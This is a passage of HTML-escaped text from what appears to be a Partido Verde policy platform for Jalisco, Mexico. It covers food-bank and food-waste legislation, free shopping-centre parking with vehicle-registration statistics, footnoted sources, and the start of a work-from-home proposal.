marginaci\u00f3n, a trav\u00e9s del Comit\u00e9 que para tal efecto se conforme.<\/li>\n<li>Establecer mecanismos obligatorios para que centrales de abasto, mercados y tiendas de autoservicio, permitan que personas beneficiadas por alg\u00fan programa de asistencia social (migrantes, jornaleros agr\u00edcolas, comedores comunitarios, estancias infantiles, estancias infantiles, adultos mayores, madres solteras, Prospera, etc\u00e9tera) puedan recibir la ayuda directamente en sus instalaciones.<\/li>\n<\/ol>\n<ul>\n<li>Prohibir acciones que hagan que los alimentos ya no puedan ser consumidos o reciclados.<\/li>\n<li>Regular el etiquetado de caducidad.<\/li>\n<li>Reformar la Ley del Impuesto sobre la Renta a fin de:<\/li>\n<\/ul>\n<ol>\n<li>Autorizar a los bancos de alimentos como donatarias.<\/li>\n<li>Establecer deducciones de los costos de traslado de alimentos de las instalaciones de los obligados por la Ley General para la Prevenci\u00f3n y Recuperaci\u00f3n de Alimentos en M\u00e9xico a Bancos de Alimentos y organizaciones civiles o comunitarias. Hacer eficiente la entrega directa en sus instalaciones.<\/li>\n<\/ol>\n<ul>\n<li>Reformar la Ley de Desarrollo Rural Sustentable a efecto de:<\/li>\n<\/ul>\n<ol>\n<li>Incluir a los Bancos de Alimentos como miembros del Consejo Mexicano para el Desarrollo Rural Sustentable.<\/li>\n<li>Establecer que, dentro de los objetivos del Programa Especial Concurrente, se incluya el fortalecimiento y desarrollo de los mismos.<\/li>\n<\/ol>\n<ul>\n<li>Se propone que el Sistema Nacional de Informaci\u00f3n para el Desarrollo Rural Sustentable, sea el encargado de integrar y difundir la informaci\u00f3n sobre la existencia de mermas y p\u00e9rdidas en la cadena de valor, desde la producci\u00f3n hasta la etapa de venta o comercializaci\u00f3n al consumidor final.<\/li>\n<\/ul>\n<ol>\n<li>En el Cap\u00edtulo XVII, denominado De la Seguridad y Soberan\u00eda Alimentaria, se adiciona una fracci\u00f3n al art\u00edculo 183 para que el Gobierno Federal realice la identificaci\u00f3n de factores sociales y demogr\u00e1ficos, en coordinaci\u00f3n con los gobiernos locales, a efecto de promover la instalaci\u00f3n de bancos de alimentos en las entidades federativas, y con ello garantizar el derecho a la alimentaci\u00f3n a los sectores menos favorecidos de la poblaci\u00f3n.<\/li>\n<\/ol>\n<ul>\n<li>Se proponen tres esquemas de entrega de alimentos, que funcionar\u00e1n mediante reglas de operaci\u00f3n claras, con la finalidad de garantizar que los alimentos lleguen a las poblaciones en situaci\u00f3n de pobreza alimentaria. En t\u00e9rminos generales consistir\u00e1n en lo siguiente:<\/li>\n<\/ul>\n<ol>\n<li>Esquema de entrega a Bancos de Alimentos o en las instituciones de beneficencia que \u00e9stos les indiquen.<\/li>\n<li>A trav\u00e9s del portal del SAT: \u201cSistema de avisos de destrucci\u00f3n y donaci\u00f3n de mercanc\u00edas\u201d<a href=\"#_ftn30\" name=\"_ftnref30\"><sup>[30]<\/sup><\/a>, los bancos de alimentos realizar\u00e1n la solicitud de la cantidad y tipo de alimentos que pueden recibir ya sea directamente o a trav\u00e9s de organizaciones de beneficencia.<\/li>\n<li>Se establecer\u00e1 la obligaci\u00f3n de entregar los alimentos seleccionados en las instalaciones de los Bancos o donde \u00e9stos indiquen.<\/li>\n<li>Los costos que el cumplimiento de esta obligaci\u00f3n genere ser\u00e1n deducibles de ISR.<\/li>\n<li>Entrega en municipios o localidades con un mayor \u00edndice de marginaci\u00f3n.<\/li>\n<\/ol>\n<ul>\n<li>Entrega en instalaciones del donante.<\/li>\n<\/ul>\n<ol>\n<li>Centrales de abasto, mercados, y tiendas de autoservicio deber\u00e1n tener una secci\u00f3n de alimentos que no puedan ser comercializados pero que todav\u00eda sean aptos para consumo humano o animal.<\/li>\n<li>Los beneficiarios de cualquier programa social federal o estatal<a href=\"#_ftn31\" name=\"_ftnref31\"><sup>[31]<\/sup><\/a>, podr\u00e1n solicitar a los donantes la entrega de estos alimentos previa acreditaci\u00f3n con credencial o tarjeta que demuestre el programa del que son beneficiarios.<\/li>\n<\/ol>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE A NIVEL LOCAL SE REALICEN LAS SIGUIENTES ACCIONES:<\/strong><\/p>\n<p><strong>Reformar el c\u00f3digo de asistencia social del estado de Jalisco para que en el articulado se establezca:<\/strong><\/p>\n<ul>\n<li>Establecer mecanismos obligatorios para que centrales de abasto, mercados, tiendas de autoservicio, hoteles, restaurantes e industria de la transformaci\u00f3n transporten y entreguen los alimentos que no ser\u00e1n comercializados o utilizados, pero que (y que por su valor nutrimental y condiciones sean susceptibles para el consumo humano) a Bancos de Alimentos, o a las organizaciones civiles o comunitarias que \u00e9stos les indiquen, a trav\u00e9s del Comit\u00e9 que para tal efecto se conforme.<\/li>\n<li>Regular el tratamiento comercial en las tiendas de autoservicio de los alimentos perecederos, enlatados y envasados a efecto de recuperar alimentos que son susceptibles de ser consumidos y aprovechados aunque no cumplan con requisitos comerciales.<\/li>\n<li>Establecer mecanismos obligatorios para que los alimentos que no ser\u00e1n comercializados, utilizados o entregados directamente a Bancos de Alimentos o a las organizaciones civiles o comunitarias, puedan ser entregados a los municipios o localidades con un mayor \u00edndice de marginaci\u00f3n, a trav\u00e9s del Comit\u00e9 que para tal efecto se conforme.<\/li>\n<li>Prohibir acciones que hagan que los alimentos ya no puedan ser consumidos o reciclados.<\/li>\n<li>Regular el etiquetado de caducidad.<\/li>\n<li>Que el estado sea el encargado de comenzar con aquellas comunidades catalogadas como de alta marginaci\u00f3n por el INEGI.<\/li>\n<li>Se deber\u00e1 conformar un Comit\u00e9 para la recepci\u00f3n de alimentos, el cual solicitar\u00e1 a los donantes los alimentos que de acuerdo al n\u00famero de habitantes requieran.<\/li>\n<li>El donante se\u00f1alar\u00e1\u00a0 fecha y hora para la entrega de los alimentos.<\/li>\n<li>Las entregas deber\u00e1n hacerse, de preferencia, cada semana en el lugar que para tal efecto se\u00f1ale el Comit\u00e9.<\/li>\n<li>El donante podr\u00e1 deducir ISR por los costos generados de esta actividad.<strong style=\"font-size: 1rem;\">\u00a0<\/strong><\/li>\n<\/ul>\n<p><strong>TITULO: GASTA EN LO QUE QUIERES, NO EN ESTACIONAMIENTO<\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: A fin de fortalecer a la econom\u00eda familiar as\u00ed como de fomentar el mercado interno.Jalisco debe de contar con estacionamientos gratuitos en los Centros Comerciales.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA: <\/strong><\/p>\n<p>El uso de los autom\u00f3viles en recientes a\u00f1os ha incrementado la demanda del servicio de estacionamientos. En los \u00faltimos 40 a\u00f1os, los centros comerciales han surgido debido al crecimiento poblacional y buscando satisfacer las necesidades de recreaci\u00f3n y esparcimiento de la ciudadan\u00eda, sin embargo, en su mayor\u00eda este tipo de establecimientos pertenecen a la iniciativa privada.<\/p>\n<p><strong>INEGI<\/strong><\/p>\n<p><strong>1980 &#8211; 2016<\/strong><\/p>\n<table width=\"448\">\n<tbody>\n<tr>\n<td width=\"202\">\n<p><strong>A\u00f1o<\/strong><\/p>\n<\/td>\n<td width=\"246\">\n<p><strong>Veh\u00edculos registrados en Jalisco<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1980<\/p>\n<\/td>\n<td width=\"246\">\n<p>347,483<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1981<\/p>\n<\/td>\n<td width=\"246\">\n<p>386,231<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1982<\/p>\n<\/td>\n<td width=\"246\">\n<p>404,645<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1983<\/p>\n<\/td>\n<td width=\"246\">\n<p>438,343<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1984<\/p>\n<\/td>\n<td width=\"246\">\n<p>487,847<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1985<\/p>\n<\/td>\n<td width=\"246\">\n<p>508,494<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1986<\/p>\n<\/td>\n<td width=\"246\">\n<p>530,801<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1987<\/p>\n<\/td>\n<td width=\"246\">\n<p>555,905<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1988<\/p>\n<\/td>\n<td width=\"246\">\n<p>586,990<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1989<\/p>\n<\/td>\n<td width=\"246\">\n<p>627,739<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1990<\/p>\n<\/td>\n<td width=\"246\">\n<p>674,854<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1991<\/p>\n<\/td>\n<td width=\"246\">\n<p>741,520<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1992<\/p>\n<\/td>\n<td width=\"246\">\n<p>789,194<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1993<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,006,337<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1994<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,067,022<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1995<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,020,996<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1996<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,016,481<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1997<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,077,616<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1998<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,099,757<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>1999<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,114,421<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2000<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,303,109<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2001<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,376,637<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2002<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,681,096<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2003<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,814,156<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2004<\/p>\n<\/td>\n<td width=\"246\">\n<p>1,940,129<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2005<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,066,373<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2006<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,207,186<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2007<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,381,424<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2008<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,592,027<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2009<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,659,712<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2010<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,754,043<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2011<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,861,984<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2012<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,902,432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2013<\/p>\n<\/td>\n<td width=\"246\">\n<p>2,987,875<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2014<\/p>\n<\/td>\n<td width=\"246\">\n<p>3,062,070<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2015<\/p>\n<\/td>\n<td width=\"246\">\n<p>3,136,264<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"202\">\n<p>2016<\/p>\n<\/td>\n<td width=\"246\">\n<p>3,210,459<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>De acuerdo a la Suprema Corte de Justicia, \u201cEl deber impuesto en la norma de brindar de forma gratuita el servicio de estacionamiento no impide a los establecimientos mercantiles ejercer su actividad comercial, ni afecta su fin primordial que se traduce en obtener una ganancia l\u00edcita, m\u00e1xime que se trata de una obligaci\u00f3n cuyo objeto es contribuir al orden vial y que, a su vez, se traduce en beneficio para sus clientes\u201d\u00a0\u00a0<\/p>\n<p>Por lo que la legislaci\u00f3n mexicana contempla que para las edificaciones y espacios abiertos, tanto p\u00fablicos como privados, se deber\u00e1 establecer dentro de los reglamentos municipales las garant\u00edas m\u00ednimas de acceso, entre las que destacan el contar con espacios de estacionamiento, as\u00ed como los instrumentos de control vial.<\/p>\n<p>Cabe se\u00f1alar que una de las razones principales de la inconformidad que deriva de estos cobros, est\u00e1 dada principalmente por falta de seguridad y vigilancia, las tarifas injustas, la falta de responsabilidad en caso de percance, da\u00f1o, robo parcial o total del veh\u00edculo. De tal manera que es incongruente que se exija el cobro de un \u201cservicio\u201d que es ineficiente.\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>De tal manera que es imperante la necesidad de frenar los cobros que realizan los centros comerciales por el uso de los lugares de estacionamiento que ofrecen a los visitantes.<\/p>\n<p>Este tipo de pagos, lastiman a la econom\u00eda de los ciudadanos que quieren disfrutar las plazas comerciales quienes, ya que de por s\u00ed, deben pagar productos y servicios caros, adem\u00e1s de tener que erogar un excedente injusto con el cobro del estacionamiento.<\/p>\n<p>En 2014, se abrieron al menos 23 centros comerciales en todo M\u00e9xico, por lo que la cifra total de estos establecimientos lleg\u00f3 a 584, ocupando un total de 16.2 millones de metros cuadrados de \u00e1rea rentable.<\/p>\n<p>En el marco de la ReCON Latin Am\u00e9rica se inform\u00f3 que el crecimiento en este sector continuar\u00e1 durante los pr\u00f3ximos 10 a\u00f1os, ya que se espera que, para 2025, existan 760 centros comerciales en M\u00e9xico, lo que representar\u00eda un crecimiento de 30 por ciento durante la d\u00e9cada.<\/p>\n<p><strong>Beneficios<\/strong><\/p>\n<p>Esta medida ayudar\u00e1 a la econom\u00eda familiar y beneficiara a los usuarios de los centros comerciales, la prioridad, es que los consumidores de los centros comerciales queden exentos del pago de estacionamiento y de esta forma se contribuya al fortalecimiento del consumo interno.<\/p>\n<p><strong>EN EL PARTIDO VERDE PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Crear reglamentos municipales los cuales garanticen y regulen que los estacionamientos de las plazas comerciales sean gratuitos.<\/li>\n<li>Eliminar el cobro por el uso de estacionamiento en los centros o plazas comerciales y tiendas Departamentales, siempre y cuando se compruebe que se realiz\u00f3 una compra m\u00ednima dentro de las instalaciones.<\/li>\n<li>Debido a lo anterior es fundamental que el costo por el uso de los estacionamientos comerciales debe de ser cubierto por los establecimientos, de esta manera se har\u00eda hincapi\u00e9 que los centros comerciales cumplan con la prestaci\u00f3n obligatoria que tienen debido a que son espacios p\u00fablicos, siendo que se les otorga licencia de giro comercial.<\/li>\n<li>Adem\u00e1s se incentiva que m\u00e1s gente acuda a las plazas, que m\u00e1s comerciantes puedan hacer negocios y reactivar de cierta manera la econom\u00eda\u00a0 que se encuentra inhibida por este tipo de gastos extras.<\/li>\n<\/ul>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> La diferencia entre una renta universal b\u00e1sica y una renta m\u00ednima b\u00e1sica refiere a los beneficiarios. En la primera ser\u00edan todas las personas, en la segunda s\u00f3lo aqu\u00e9llas que no cuenten al menos con esa renta m\u00ednima b\u00e1sica \u2013focalizado).<\/p>\n<p><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> http:\/\/www.inegi.org.mx\/sistemas\/bie\/<\/p>\n<p><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a> http:\/\/www.inegi.org.mx\/sistemas\/bie\/<\/p>\n<p><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a> http:\/\/www.beta.inegi.org.mx\/app\/indicadores\/##divFV6207019030<\/p>\n<p><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a> https:\/\/www.informador.mx\/Economia\/Se-comprometen-a-mejorar-salario-minimo-en-Jalisco-20170629-0134.html<\/p>\n<p><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a> Ver CONEVAL (2017). Contenido y valor de las l\u00edneas de bienestar 199-2017. http:\/\/www.coneval.org.mx\/Medicion\/MP\/Paginas\/Lineas-de-bienestar-y-canasta-basica.aspx<\/p>\n<p><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> Ver Cuenta de la Hacienda P\u00fablica Federal, Tomo I. Varios a\u00f1os. http:\/\/cuentapublica.hacienda.gob.mx\/<\/p>\n<p><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a> Ver CONEVAL (2017). Evoluci\u00f3n de pobreza y pobreza extrema nacional y en entidades 2010-2016. http:\/\/www.coneval.org.mx\/Medicion\/Paginas\/PobrezaInicio.aspx<\/p>\n<p><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a> CONEVAL (2017). Consideraciones para el Proceso Presupuestario 2018. Recuperado de: 2018http:\/\/www.coneval.org.mx\/Evaluacion\/IEPSM\/Documents\/Consideraciones_para_el_proceso_presupuestario_2018.pdf<\/p>\n<p><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a> CONEVAL (2017). Resumen_Desempe\u00f1o_Ficha_Monitoreo_Evaluaci\u00f3n_2015_2016. Recuperado de http:\/\/www.coneval.org.mx\/Evaluacion\/RDPS\/Documents\/Resumen_Desempeno_Ficha_Monitoreo_Evaluacion_2015_2016.zip<\/p>\n<p><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a>Ver Conferencia de las Naciones Unidas sobre Comercio y Desarrollo (UNCTAD, 2017). Informe sobre las Inversiones en el Mundo. Recuperado de: http:\/\/unctad.org\/es\/PublicationsLibrary\/wir2017_overview_es.pdf<\/p>\n<p><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a>Art\u00edculo 1 de la citada Ley.<\/p>\n<p><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a>Ver art\u00edculos 4, fracci\u00f3n XVII y 6 de la citada Ley.<\/p>\n<p><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a>Ver Decretos de Creaci\u00f3n, art\u00edculos Vig\u00e9simo Quinto y Vig\u00e9simo Sexto.<\/p>\n<p><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a> SHCP. Comunicado de prensa de fecha 01\/01\/2017.\u00a0<\/p>\n<p><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a>\u00a0 The Costs Of Training New Employees, Including Hidden Expenses. Forbes Junio 2017<\/p>\n<p><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a> Banco Mundial, <em>La p\u00e9rdida y desperdicio de alimentos en el mundo.<\/em> Consulta realizada el 01 de noviembre de 2017. Disponible en: http:\/\/www.bancomundial.org\/es\/news\/press-release\/2014\/02\/27\/food-loss-waste-barrier-poverty-reduction<\/p>\n<p><a href=\"#_ftnref18\" name=\"_ftn18\">[18]<\/a> Consejo Nacional de Evaluaci\u00f3n de la Pol\u00edtica de Desarrollo Social (Coneval).<em>Resultados de pobreza en M\u00e9xico 2016\u00a0a nivel nacional y por entidades federativas<\/em>. Consulta realizada el 31 de octubre de 2017, disponible en: http:\/\/www.coneval.org.mx\/Medicion\/MP\/Paginas\/Pobreza_2016.aspx<\/p>\n<p><a href=\"#_ftnref19\" name=\"_ftn19\">[19]<\/a>La FAO, se refiere a la <em>\u201cp\u00e9rdida de alimentos\u201d como la disminuci\u00f3n de la masa de alimentos <\/em><em>comestibles en la parte de la cadena de suministro que conduce espec\u00edficamente a los alimentos comestibles para el consumo humano. Las p\u00e9rdidas de alimentos tienen lugar en las etapas de producci\u00f3n, poscosecha y procesamiento de la cadena de suministro de alimentos (Parfitt et al., 2010). Las p\u00e9rdidas de alimentos que ocurren al final de la cadena alimentaria (venta minorista y consumo final) se conocen como \u00abdesperdicio de alimentos\u00bb, m\u00e1s relacionado con el comportamiento de los vendedores minoristas y los consumidores (Parfitt et al., 2010).<\/em><\/p>\n<p><a href=\"#_ftnref20\" name=\"_ftn20\">[20]<\/a>Ver https:\/\/www.gob.mx\/sedesol\/articulos\/bancos-de-alimentos-de-mexico-para-combatir-el-hambre-y-la-desnutricion. Consulta del 25 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref21\" name=\"_ftn21\">[21]<\/a> Ver al efecto Banco de Alimentos de M\u00e9xico (2016). <strong>Informe 2015.<\/strong> Recuperado de: https:\/\/bamx.org.mx\/wp-content\/uploads\/2016\/09\/Informe-Anual-2015.pdf?v=1fda4fa5605d. Consulta del 25 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref22\" name=\"_ftn22\">[22]<\/a> https:\/\/www.gob.mx\/sedesol\/prensa\/diconsa-se-consolida-como-una-de-las-redes-de-abasto-social-con-mayor-exito-en-el-mundo-meade-kuribrena. Consulta del 25 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref23\" name=\"_ftn23\">[23]<\/a>\u00d3p. Cit., p. 5.<\/p>\n<p><a href=\"#_ftnref24\" name=\"_ftn24\">[24]<\/a>\u00d3p. Cit., p. 41.<\/p>\n<p><a href=\"#_ftnref25\" name=\"_ftn25\">[25]<\/a>Se estima con base en un incremento del \u00edndice de precios impl\u00edcitos del 14.5 por ciento de 2015 a 2018.<\/p>\n<p><a href=\"#_ftnref26\" name=\"_ftn26\">[26]<\/a>Ver al efecto SHCP (2017). Presupuesto de Gastos Fiscales 2017, pp. 5 y 6.\u00a0 Recuperado de:https:\/\/www.gob.mx\/cms\/uploads\/attachment\/file\/236020\/PGF_2017.pdf. Consulta del 25 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref27\" name=\"_ftn27\">[27]<\/a>Ibid.., pp. 40 y 41.<\/p>\n<p><a href=\"#_ftnref28\" name=\"_ftn28\">[28]<\/a>Ibid., p. 40 y https:\/\/siat.sat.gob.mx\/app\/destruccion\/muestraPdf.jsp?File=Tutorial.pdf. Consulta del 25 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref29\" name=\"_ftn29\">[29]<\/a>Ver BAMEX (2016). Informe 2015, p. 41.<\/p>\n<p><a href=\"#_ftnref30\" name=\"_ftn30\">[30]<\/a> Disponible en:<\/p>\n<p>http:\/\/www.sat.gob.mx\/terceros_autorizados\/donatarias_donaciones\/Paginas\/avisos_destruc_donac_merc.aspx)<\/p>\n<p><a href=\"#_ftnref31\" name=\"_ftn31\">[31]<\/a>De manera enunciativa, m\u00e1s no limitativa: Migrantes, jornaleros agr\u00edcolas, comedores comunitarios, estancias infantiles, adultos mayores, madres solteras, Prospera, etc.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tV.\tMedio ambiente\t\t\t\t\t<\/p>\n<p><strong>T\u00cdTULO: D\u00cdA DE TRABAJO EN CASA<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Incrementar la productividad laboral y disminuir las emisiones m\u00f3viles, con horarios escalonados permitiendo labora un d\u00eda en casa, de aquellos empleos que se puedan realizar desde casa.<\/p>\n<p><strong>RESUMEN EJECUTIVO: <\/strong><\/p>\n<p>En Jalisco, el parque vehicular se ha triplicado desde el a\u00f1o 2000, pas\u00f3 de tener un mill\u00f3n 300 mil veh\u00edculos automotores registrados (entre autom\u00f3viles, camiones, motocicletas y camiones de pasajeros), a tener 3 millones 429 mil en 2016. En Jalisco, el parque vehicular se ha triplicado desde el a\u00f1o 2000, pas\u00f3 de tener un mill\u00f3n 300 mil veh\u00edculos automotores registrados (entre autom\u00f3viles, camiones, motocicletas y camiones de pasajeros), a tener 3 millones 429 mil en 2016.<\/p>\n<p>En el caso de los autom\u00f3viles, se tuvo un crecimiento abismal, ya que hace 17 a\u00f1os, Jalisco contaba apenas con 730 mil 603 unidades, y al a\u00f1o pasado la cifra se hab\u00eda elevado a 2 millones 12 mil 979 autos.<\/p>\n<p>Estas cifras dejan de manifiesto que al menos para los jaliscienses el auto sigue siendo la opci\u00f3n prioritaria para moverse, pese a los esfuerzos por tener cada vez m\u00e1s opciones para dejar el auto en casa.<\/p>\n<p>En los Ayuntamientos, hay veh\u00edculos destinados para la prestaci\u00f3n de varios servicios, algunos de ellos de emergencia, igualmente los del Estado, pero en su mayor\u00eda son veh\u00edculos que prestan servicio de ocho horas diarias, con excepci\u00f3n de las patrullas de polic\u00eda, las de bomberos y otros que prestan servicio las veinticuatro horas del d\u00eda.<\/p>\n<p>Por otro lado, los veh\u00edculos utilitarios de empresas particulares, que prestan servicios de telefon\u00eda, reparto de gas, televisi\u00f3n de paga, reparto de multiplicidad de productos y mercanc\u00edas como agua, refrescos, pan, etc\u00e9tera, tambi\u00e9n circulan contribuyendo con la emisi\u00f3n de gases contaminantes<\/p>\n<p>En el Estado de Jalisco SEMADET,\u00a0 a trav\u00e9s de la Procuradur\u00eda de Protecci\u00f3n al Medio Ambiente lleva cabo las siguientes funciones:<\/p>\n<ol>\n<li>Actualizar sistemas de certificaci\u00f3n de procesos que sean compatibles ambientalmente o que preserven, mejoren o restauren el medio ambiente.<\/li>\n<li>Contar con un sistema de aprobaci\u00f3n de promotores y peritos ambientales para llevar a cabo procesos de cumplimiento ambiental voluntario.<\/li>\n<li>Capacitar a los sectores involucrados acerca de los procesos de cumplimiento ambiental voluntario.<\/li>\n<li>Otorgar reconocimientos que permitan distinguir p\u00fablicamente a los establecimientos que cumplan en tiempo y forma los compromisos adquiridos dentro del Programa.<\/li>\n<li>Promover la instrumentaci\u00f3n de un sistema de incentivos fiscales y financieros de competencia estatal, para los establecimientos que cuenten con la certificaci\u00f3n vigente de su proceso de cumplimiento ambiental voluntario.<\/li>\n<li>Promover el desarrollo de procesos productivos y tecnolog\u00edas ambientalmente responsables, propuestos por instituciones de investigaci\u00f3n cient\u00edfica y tecnol\u00f3gica para su aplicaci\u00f3n en los establecimientos sujetos al Programa.<\/li>\n<\/ol>\n<p><strong>Impacto Presupuestal: <\/strong><\/p>\n<p>La aplicaci\u00f3n de estos esquemas no generar\u00e1 un alto impacto en el presupuesto, pues la PROFEPA ya cuenta con un procedimiento funcional en el Programa Nacional de Auditor\u00eda Ambiental que podr\u00eda replicar para la implementaci\u00f3n de los Esquemas de Reducci\u00f3n de Traslados Vehiculares a los centros de trabajo. En este caso, las instituciones que busquen aplicar un Esquema de manera voluntaria podr\u00e1n hacerlo de manera sencilla. Adem\u00e1s, se puede buscar apoyo de organizaciones internacionales para desarrollar algunos documentos necesarios como la gu\u00eda de usuario para las entidades obligadas, como ocurri\u00f3 en el Programa RENE que recibi\u00f3 apoyo del organismo de cooperaci\u00f3n al desarrollo del gobierno alem\u00e1n para el desarrollo de instrumentos.<\/p>\n<p><strong>Justificaci\u00f3n:<\/strong><\/p>\n<p>Las principales razones de implementar esquemas de trabajo en casa, las encontramos en reducir las emisiones por congestionamiento vehicular, para disfrutar de una mejor calidad del aire, as\u00ed como incrementar y mejorar la productividad laboral. Ejemplo: La Empresa Microsoft aplica esquemas de trabajo en casa que arrojan importantes beneficios, siendo uno de los principales, a consideraci\u00f3n de los trabajadores, la posibilidad de tener mayor productividad; raz\u00f3n que representa un 45% de las opiniones en una encuesta que dicha empresa aplic\u00f3 a 3,500 empleados de tiempo completo.<\/p>\n<p>A nivel administrativo se han estipulado medidas similares, cuya implementaci\u00f3n ha sido exitosa con resultados considerables. La SEMARNAT estableci\u00f3 un d\u00eda a la semana de trabajo en casa y el escalonamiento de horarios distribuyendo la entrada y salida del personal adscrito a la misma, lo cual gener\u00f3 la reducci\u00f3n de emisiones generadas por el personal de dicha dependencia en un 20%, evit\u00e1ndose 75,000 viajes en veh\u00edculo al a\u00f1o, as\u00ed como 185,000 viajes totales al a\u00f1o. Esto por la <em>reducci\u00f3n de emisiones de empleados de SEMARNAT mediante la disminuci\u00f3n de demandas de viajes en SEMARNAT.<a href=\"#_ftn1\" name=\"_ftnref1\"><sup><strong>[1]<\/strong><\/sup><\/a><\/em><\/p>\n<p>Asimismo, el 14 de agosto de 2015, el Gobierno de la Ciudad de M\u00e9xico public\u00f3 en la Gaceta Oficial de la Ciudad de M\u00e9xico el Acuerdo mediante el cual se da a conocer la implementaci\u00f3n de la nueva cultura laboral en la Ciudad de M\u00e9xico por el que se estableci\u00f3 la organizaci\u00f3n del tiempo de trabajo, otorgamiento de licencias especiales y periodos vacacionales, para las y los trabajadores de base, confianza, estabilidad laboral, enlaces, l\u00edderes coordinadores, mandos medios y superiores de la Administraci\u00f3n P\u00fablica del Distrito Federal.<\/p>\n<p>Esta implementaci\u00f3n local fue con el objeto principal de la efectividad de la prestaci\u00f3n del servicio a la ciudadan\u00eda y la conciliaci\u00f3n de la vida laboral y familiar, en el cual se establecen medidas como la duraci\u00f3n m\u00e1xima de la jornada laboral diurna de hasta 40 horas a la semana; 